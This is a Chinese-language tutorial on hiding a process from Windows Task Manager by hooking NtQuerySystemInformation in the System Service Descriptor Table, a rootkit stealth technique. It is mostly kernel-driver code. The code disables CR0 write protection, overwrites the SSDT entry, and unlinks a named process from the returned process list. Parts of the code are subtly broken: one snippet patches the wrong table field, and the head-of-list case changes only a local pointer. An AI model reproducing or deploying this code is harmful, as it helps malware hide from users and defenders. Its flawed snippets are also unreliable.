通过Hook SSDT (System Service Dispath Table) 隐藏进程
1.原理介绍: Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。把指向参数区的指针被保存在EDX寄存器中。中断调用后,EAX寄存器保存了返回的结果。KiSystemService()是根据EAX的值来决定哪个函数将被调用。而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。在Windows 2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。KeServiceDescriptorTable对应于一个数据结构,定义如下:
typedef struct SystemServiceDescriptorTable { UINT *ServiceTableBase; UINT *ServiceCounterTableBase; UINT NumberOfService; UCHAR *ParameterTableBase; }SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元。在windows 2000 sp4中NumberOfService的数目是248个。
我们的任务管理器,是通过用户层的API来枚举当前的进程的。Ring3级枚举的方法:
? PSAPI
– EnumProcesses()
? ToolHelp32
– Process32First()
- Process32Next()
来对进程进行枚举。而她们最后都是通过NtQuerySystemInformation来进行查询的。所以我们只需要Hook掉NtQuerySystemInformation,把真实NtQuerySystemInformation返回的数进行添加或者是删改,就能有效的欺骗上层API。从而达到隐藏特定进程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:
kd> u ZwQuerySystemInformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。
例如:
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;
3.对NtQuerySystemInformation返回的数据进行删改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
IN ULONG SystemInformationClass, //查询系统服务类型
IN PVOID SystemInformation, //接收系统信息缓冲区
IN ULONG SystemInformationLength, //接收信息缓冲区大小
OUT PULONG ReturnLength); //实际接收到的大小
NtQuerySystemInformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过SystemInformationClass号来区分功能,当SystemInformationClass等于5的时候是在进行进程的查询。此时返回的SystemInformation 是一个 _SYSTEM_PROCESSES结构。
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一个进程信息的偏移量,如果为0表示无一个进程信息
ULONG ThreadCount; //线程数量
ULONG Reserved[6]; //
LARGE_INTEGER CreateTime; //创建进程的时间
LARGE_INTEGER UserTime; //进程中所有线程在用户模式运行时间的总和
LARGE_INTEGER KernelTime; //进程中所有线程在内核模式运行时间的总和
UNICODE_STRING ProcessName; //进程的名字
KPRIORITY BasePriority; //线程的缺省优先级
ULONG ProcessId; //进程ID号
ULONG InheritedFromProcessId; //继承语柄的进程ID号
ULONG HandleCount; //进程打开的语柄数量
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虚拟内存的使用情况统计
IO_COUNTERS IoCounters; //IO操作的统计,Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组
};
当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。
4.
核心实现
//系统服务表入口地址
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
……
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh //DisableWriteProtect
mov cr0, eax
}
//取得原来ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
mov eax, CR0VALUE
mov cr0, eax
}
……
return STATUS_SUCCESS;
} VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
……
//UnHook恢复系统服务的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;
……
} NTSTATUS HookFunc(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
struct _SYSTEM_PROCESSES *curr;
// 保存上一个进程信息的指针
struct _SYSTEM_PROCESSES *prev = NULL;
//调用原函数
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
//如果系统查询类型是SystemProcessesAndThreadsInformation
{
curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
//加第一个偏移量得到第一个system进程的信息首地址
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
{
//找到要隐藏的进程
if(prev)
{
if(curr->NextEntryDelta)
{
//要删除的信息在中间
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
//要删除的信息在末尾
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要删除的信息在开头
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
//如果链下一个还有其他的进程信息,指针往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta); else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
//把当前指针设置成前一个指针,当前指针后移
prev = curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
else curr = NULL;
}
} // end while(curr)
}
}
return rc;
}